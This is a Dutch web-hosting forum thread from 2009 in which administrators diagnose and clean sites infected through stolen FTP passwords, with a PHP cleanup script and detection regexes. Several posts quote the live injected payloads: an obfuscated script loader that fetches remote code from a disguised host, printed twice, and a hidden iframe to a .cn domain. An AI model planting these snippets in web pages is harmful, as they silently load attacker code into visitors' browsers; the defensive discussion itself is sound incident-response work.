PDA

Bekijk Volledige Versie : Gumblar virus?



Herbert
30/11/09, 16:38
Een paar websites onder het beheer van een reseller van mij heeft enkele websites besmet met een javascript code.


<script>/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement('script');H3qqea3ur6p.setAt tribute('type', 'text/javascript');H3qqea3ur6p.setAttribute('id', 'myscript1');H3qqea3ur6p.setAttribute('src', 'h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&@o@m^)&/)!c&#(n$)e()&&t)#-^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^'.replace(/\^|&|@|\)|\(|#|\!|\$/ig, ''));H3qqea3ur6p.setAttribute('defer', 'defer');document.body.appendChild(H3qqea3ur6p);}} catch(e) {}</script>

Ik kan nergens iets vinden over dit script, zou het een nieuwe variant van Gumblar kunnen zijn?
In de log files van de server staan ook geen vreemde dingen, de /tmp is clean en readonly
Als er iemand mij meer info kan geven dan graag..

pierce
30/11/09, 16:52
Ik gok gestolen ftp accounts, waarvan gebruikersnaam en wachtwoord in plain text in een config bestand van de ftp client waren opgeslagen.

Ftp wachtwoorden resetten, code verwijderen, en gebruikersnamen en wachtwoorden niet meer lokaal opslaan :)

Herbert
30/11/09, 17:05
Ik gok gestolen ftp accounts, waarvan gebruikersnaam en wachtwoord in plain text in een config bestand van de ftp client waren opgeslagen.

Ftp wachtwoorden resetten, code verwijderen, en gebruikersnamen en wachtwoorden niet meer lokaal opslaan :)
Volgens mij heb je gelijk, in de FTP log kon ik het terug vinden.
De gebruiker heeft inmiddels alle wachtwoorden veranderd.

Herbert
30/11/09, 21:08
Ik heb nog een vraagje over die string..
Weet iemand hoe je uit alle bestanden deze string kunt verwijderen met een commando regel?
Het is een vrij lange string, de standaard commando's werken daar niet op.

pierce
30/11/09, 21:19
Ik heb nog een vraagje over die string..
Weet iemand hoe je uit alle bestanden deze string kunt verwijderen met een commando regel?
Het is een vrij lange string, de standaard commando's werken daar niet op.

Probleem daar mee is is dat de code vaak per pagina verschilt, dat maakt het lastiger om te zoeken...

Tim.Bracquez
30/11/09, 21:31
Probleem daar mee is is dat de code vaak per pagina verschilt, dat maakt het lastiger om te zoeken...
Klopt ze worden steeds slimmer, vroeger altijd ~ dezelfde scripts en/of iframes. Nu met wat verschillen telkens.

Je kan altijd zorgen wanneer klanten files uploaden dit eerst langs een virus scanner langsgaat (clamav detecteerd ook wel wat).
Zoizo via SSL werken, maar het is en zijn nog altijd de klanten en of je nu via SSL of plain text gaat werken. Achter die wachtwoorden komen ze toch client-side.

marsipulami
30/11/09, 21:38
klopt inderdaad, had van de week ook weer 1 klant met drie pakketten, al zijn sites besmet

leuk zo'n iframe :p

Herbert
30/11/09, 22:04
Deze code stond toevallig helemaal onderaan in de bestanden, normaal staan ze bovenin.
Zojuist heb ik gevraagd welke ftp client hij gebruikte en dat wat total commander, volgens slaat total commander de wachtwoorden gecodeerd op.
Het is geloof ik wel overal hetzelfde stukje script wat er in staat.

pierce
30/11/09, 22:13
Deze code stond toevallig helemaal onderaan in de bestanden, normaal staan ze bovenin.
Zojuist heb ik gevraagd welke ftp client hij gebruikte en dat wat total commander, volgens slaat total commander de wachtwoorden gecodeerd op.
Het is geloof ik wel overal hetzelfde stukje script wat er in staat.

Het klopt dat deze wachtwoorden gecodeerd worden opgeslagen, echter zijn er talloze programma's te vinden die deze wachtwoorden voor je kan terug toveren.

Wynand
30/11/09, 23:17
+ FTP wachtwoorden op de client's computer achterhalen bij het maken van de verbinding is ook niet bepaald moeilijk...

Marco Mahieu
30/11/09, 23:58
Klopt, gecodeerd opslaan zegt niks bij FTP. Ik heb hier zelf een programmatje liggen, als je bij de FTP server het adres veranderd naar iets lokaals, dan vangt dat programmatje de verbinding op als server zijnde, en TADAA: daar staat je wachtwoord.

Zo eenvoudig is het dus.

Wynand
30/11/09, 23:59
Al niet eens nodig.. Elke eenvoudige netwerk sniffer is er voldoende voor.

Marco Mahieu
01/12/09, 00:02
Daarom, genoeg opties dus...

Daarnaast kan een virus op de computer van de klant al voldoende zijn om bijv. alle .html bestanden te infecteren. De klant gaat zijn website uploaden, en dan staat het daar ook. Je weet het niet, belangrijkste is dat het zicht niet kan verspreiden binnen jou server, maar hooguit binnen het account van de klant.

Backupje erover en klaar is kees ;)

ichosting
01/12/09, 06:03
Volgens mij heb je gelijk, in de FTP log kon ik het terug vinden.
De gebruiker heeft inmiddels alle wachtwoorden veranderd.

Het is overigens wel aan te bevelen om je klant even de pc te laten scannen op ongewenste background progjes. Als deze nog steeds actief zijn, dan hebben ze zo weer de nieuwe wachtwoorden te pakken.

Je kunt bijvoorbeeld MallwareBytes (http://download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html?part=dl-10804572&subj=dl&tag=button) adviseren.

Juiste volgorde van opschonen zou zijn:

* klant op de hoogte brengen
* klant pc laten scannen met mallwarebytes en laten opruimen
* client-side laten controleren op iframe's in index files
* indien pc schoon, dan pas alle ftp wachtwoorden laten wijzigen

Herbert
01/12/09, 06:49
Het is overigens wel aan te bevelen om je klant even de pc te laten scannen op ongewenste background progjes. Als deze nog steeds actief zijn, dan hebben ze zo weer de nieuwe wachtwoorden te pakken.

Je kunt bijvoorbeeld MallwareBytes (http://download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html?part=dl-10804572&subj=dl&tag=button) adviseren.

Juiste volgorde van opschonen zou zijn:

* klant op de hoogte brengen
* klant pc laten scannen met mallwarebytes en laten opruimen
* client-side laten controleren op iframe's in index files
* indien pc schoon, dan pas alle ftp wachtwoorden laten wijzigen
Dit heeft die volgens mij allemaal gedaan.
Ik ben ook even aan het zoeken geweest en ik heb wel een script gevonden dat Gumblar verwijderd, ik post hem even mee in dit bericht.
Misschien dat iemand een tip kan geven hoe deze aan te passen is op de string die ik in mijn eerste post heb gezet.
Als dat kan dan zou die erg geholpen zijn omdat er meer dan 2000 bestanden aangetast zijn.
Hieronder het script om Gumblar te verwijderen:


<?php
set_time_limit(0);

$exclude_files = array(
$_SERVER['DOCUMENT_ROOT'] . '/' . 'scan_files.php',
);

$exclude_dirs = array(
$_SERVER['DOCUMENT_ROOT'] . '/' . 'stats',
);

$update = $_REQUEST["u"] == "1";
$verbose = $_REQUEST["v"] == "1";

function scan_files($dir) {

global $exclude_files, $exclude_dirs, $update, $verbose;

// regular expressions to search
$exp1 = "#\<\?php if\(!function_exists\('tmp_lkojfghx'\)\).*?tmp_lko jfghx2\(\); \?\>#";
$exp2 = "#<script language=javascript><!-- ?\n\(function\(.*?\){var .*?unescape\(.*?\);\n --></script>#";
$exp3 = "#<script language=javascript><!-- ?\n\(function\(.*?\){eval\(unescape\(.*?\);\n --></script>#";
$exp4 = "#<!-- ?\n\(function\(.*?\){var .*?unescape\(.*?\);\n -->#";
$exp5 = "#<!-- ?\n\(function\(.*?\){eval\(unescape\(.*?\);\n -->#";

$search = array(
$exp1,
$exp2,
$exp3,
$exp4,
$exp5,
);

$dirs_array = array();

if ($handle = opendir($dir)) {

echo "Open dir: " . $dir . "\n";
echo "Files:";

// this is the correct way to loop over the directory.
while (false !== ($file = readdir($handle))) {
if ($file != '.' && $file != '..') {

$path = $dir . $file;

if (is_file($path)) {

// skip large files
if (filesize($path) > 1000000) {
continue;
}

// exclude files
if (in_array($path, $exclude_files)) {
continue;
}

// exclude files
if (endsWith($file, '.bak')) {
continue;
}

if (endsWith($path, '/images/image.php') ||
endsWith($path, '/images/gifimg.php')) {
echo "\n===>" . $path . "\n";
if ($update) {
unlink($path);
}
continue;
}

// get content
$contents = file_get_contents($path);
$origContents = $contents;

// loop for search string
foreach ($search as $pattern) {
$contents = preg_replace($pattern, "", $contents);
}

if ($contents != $origContents) {
echo "\n===>" . $path;
echo "\n";

if ($update) {
if (!$file_handle = fopen($path . '.bak', 'w')) {
echo "Cannot open file ({$path}.bak)<br/>\n";
exit;
}

if (fwrite($file_handle, $origContents) === FALSE) {
echo "Cannot write to file ({$path}.bak)<br/>\n";
exit;
}

fclose($file_handle);

if (!$file_handle = fopen($path, 'w')) {
echo "Cannot open file ({$path})<br/>\n";
exit;
}

if (fwrite($file_handle, $contents) === FALSE) {
echo "Cannot write to file ({$path})<br/>\n";
exit;
}

fclose($file_handle);
}
elseif ($verbose) {
echo "**********\norigContents=$origContents\n";
echo "**********\ncontents=$contents\n";
}

}

} elseif (is_dir($path)) {

if (in_array($path, $exclude_dirs)) {
continue;
}
$dirs_array[] = $path;

}
}
}
closedir($handle);
}

foreach ($dirs_array as $dir) {
scan_files($dir . '/');
}

unset($dirs_array);
}

function endsWith($string, $ending) {
$len = strlen($ending);
$string_end = substr($string, strlen($string) - $len);

return $string_end == $ending;
}

$start_dir = $_SERVER['DOCUMENT_ROOT'] . '/';

echo 'Starting from: ' . $start_dir . "\n";

scan_files($start_dir);

?>

Randy
01/12/09, 10:31
NIet echt een oplossing, maar je kunt met mod_security wel voorkomen dat de boel door Apache weer uitgespuugd wordt. ASL biedt voor $80.- per jaar een goede dienst: http://www.atomicorp.com/. Zelf je regels maken en bijwerken is te kostbaar met tijd.

Herbert
01/12/09, 13:00
Randy leg eens uit, wat kan mod_security daar aan tegenhouden?
Het account had ergens software gedownload met een virus erin, vervolgens zijn de passwords gestolen en zo aan de logs te zien is er door verschillende ip's ingelogd.
Het is volgens mij niet het Gumblar virus, deze heeft 1 regel onderaan toegevoegd.
Of het moet een nieuwe variant zijn van dat virus, dat weten we pas over een paar dagen als er meer accounts de dupe zijn geworden.
Het verspreid zich niet, het betreft alleen de accounts van een reseller omdat hij alle wachtwoorden opgeslagen had in total commander.
Maar als zo'n string erin is gezet (met een script?) dan moet hij er toch ook eruit te halen zijn met een script?

Piwi-Web
01/12/09, 13:07
Maar als zo'n string erin is gezet (met een script?) dan moet hij er toch ook eruit te halen zijn met een script?

Niet altijd, als het script random steeds wordt aangepast dan is het niet met een script te verwijderen zo denk ik...
Je kan natuurlijk wel checken op code's die wel hetzelfde zijn =)

Herbert
01/12/09, 13:25
Niet altijd, als het script random steeds wordt aangepast dan is het niet met een script te verwijderen zo denk ik...
Je kan natuurlijk wel checken op code's die wel hetzelfde zijn =)
Deze zijn allemaal hetzelfde, gumblar zet volgens mij de code in /images/image.php met een base64 string.
Volgens mij is het een nieuw type virus die schrijft in ind*.htm ind*.php en *.js

Randy
01/12/09, 14:36
Randy leg eens uit, wat kan mod_security daar aan tegenhouden?

Deze module filtert de in- en output van Apache (PHP) met dergeels die je hebt. Je kunt dus opbasis van reg_exps dergelijke iframes en bepaalde URL's detecteren en automatisch laten verwijderen. Het is alleen een hell om die regels zelf bij te houden. Zeker voor die 6 tientjes per server per jaar.

Berrie heeft ervolgens mij ook goede ervaringen mee. Ik gebruik het enkel op twee shared servers die ik in beheer heb met budgetklanten ("Een bepaalde doelgroep, die weer een bepaalde aantrekkingskracht heeft... ;))

Herbert
02/12/09, 09:03
Ik ben alweer wat verder..
Het is een nieuwe hack die vanaf 29-11-2009 actief is, tot nu toe doet die weinig.
De code wordt onderaan in de index*.* en *.js geplaatst, dus ook onder de </BODY></HTML>
Er wordt overal dezelfde string gebruikt en er zijn geen varianten bekend tot nu toe.
Nu is het alleen nog wachten op de variant, de makers zullen ook wel zien dat deze zo goed als niets geen effect heeft.
Inmiddels kun je op google resultaten vinden als je zoekt op deze string "H3qqea3ur6p"

ccchosting
02/12/09, 15:22
Hoi,

Je kan je inkomende FTP verkeer laten scannen door bijvoorbeeld clamv of een andere virusscanner.
Hier zijn op internet ook kant en klare scripts voor te vinden, weliswaar tegen betaling.

Echter, nadeel is natuurlijk wel dat dit voor een hogere i/o belasting zorgt op je server en het is nog maar de vraag of je virusscanner op de server up2date is, gezien het feit dat het gublar virus elke keer weer andere strings gebruikt.

Of je zou moeten aangeven dat er geen Iframe,s mogen worden geupload, echter kwam ik een paar dagen geleden een gublar virus tegen welke geen gebruik maakte van Iframe maar iets anders. (ben het ff kwijt)


P.S: is er inmiddels al een werkend tooltje om dit virus van je PC te verwijderen?

Herbert
02/12/09, 17:00
Even voor de duidelijkheid het is geen iframe zoals gumblar.
Clamav staat aan op de ftp en die ziet hem niet, trouwens geen enkele scanner ziet hem nog omdat het een nieuw virus is.
Het stukje code wat helemaal onderaan in de pagina als laatste regel wordt gezet dat is alles en meer niet.
Leuk is het niet, AVG of Mallwarebytes ziet hem ook nog niet.

Randy
02/12/09, 17:17
ClamAV ziet toch al vrijwel niets als je de standaard updates gebruikt. Er zijn wel wat goede optionele repositorys te vinden die een stuk actueler zijn.

alleyoop
02/12/09, 20:46
Zelfde probleem hier gehad. De ftp-wachtwoorden worden gestolen via een Trojan met de naam Daurso.A. De payload was dus op verschillende sites terug te vinden en dit niet alleen in de index*.html/js/php bestanden maar ook in alles dat met 'main' begint.

ccchosting
04/12/09, 14:46
Even een klein Gublar of ander virus updateje,

Vandaag werd een site van onze klant geinfecteerd, niet met het virus maar met een iframe redirect naar een parking site (reclame dus)
Ik vermoed dat dit dus wel met elkaar te maken heeft en nu dus niet zo zeer meer het virus wordt verspreid maar nu ook de pagina,s worden geredirect naar bijvoorbeeld: http://hosttracker.net.

Ik heb zojuist sedo ook een abuse mail hierover verstuurd.

pierce
04/12/09, 21:23
Ik kwam nog een pagina tegen waar de werking van het Gumblar virus duidelijk staat uitgelegd; http://www.viruslist.com/en/weblog?weblogid=208187897

Edit: En een handleiding hoe je het virus van je website automatisch verwijderd;
http://www.danielansari.com/wordpress/2009/05/automatic-removal-of-gumblarmartuz-trojan/
&
http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/comment-page-1/#comment-896

Herbert
04/12/09, 22:05
Bij de melding van mij was er niets te vinden op google, 2 dagen later 3 pagina's op google..
Inmiddels al meer dan 10 pagina's aan informatie als je zoekt op deze string "H3qqea3ur6p"
Ik denk dat er over een week honderden pagina's op google staan hierover.

cappelmans
09/12/09, 01:47
Ik heb precies dit probleem. Mijn site is geïnfecteerd en ik probeer het nu al dagen te fixen. Steeds blijft de volgende regel code onderaan mijn pagina staan. Ergens wordt dit nog gegenereerd maar ik weet niet waarvandaan.
Tot nu toe alle index bestanden en .js bestanden bevatten deze code:

<script>/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement('script');H3qqea3ur6p.setAt tribute('type', 'text/javascript');H3qqea3ur6p.setAttribute('id', 'myscript1');H3qqea3ur6p.setAttribute('src', 'h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&@o@m^)&/)!c&#(n$)e()&&t)#-^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^'.replace(/\^|&|@|\)|\(|#|\!|\$/ig, ''));H3qqea3ur6p.setAttribute('defer', 'defer');document.body.appendChild(H3qqea3ur6p);}} catch(e) {}</script>


Weet iemand ondertussen meer?

Ik heb deze code ondertussen verwijderd uit de genoemde bestanden, maar het heeft geen effect gehad. Ik draai de meest up to date versie van Joomla.

Herbert
09/12/09, 02:16
Weet iemand ondertussen meer?

Ik heb deze code ondertussen verwijderd uit de genoemde bestanden, maar het heeft geen effect gehad. Ik draai de meest up to date versie van Joomla.
Heb je het wachtwoord van de FTP ook veranderd?
Zo niet dan het wachtwoord ook veranderen voor je FTP client.
Inmiddels duiken er varianten op van dit type "virus" mallware of hoe je het wil noemen met dit woord in de string: Jqjzlgspz98uxl
Mijn mening is dat dit niets met Gumblar te maken heeft, het is een nieuwe "hack"

Keizer
09/12/09, 11:21
Een klant van mij al zijn bestanden zijn geïnfecteerd met:

<iframe src="http://st1at2na3l4y5ze.cn/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Daarbij staat er in de public_html van een domein ook nog een exploit.c bestand (met dezelfde timestamp) die er niet vrolijk uitziet :(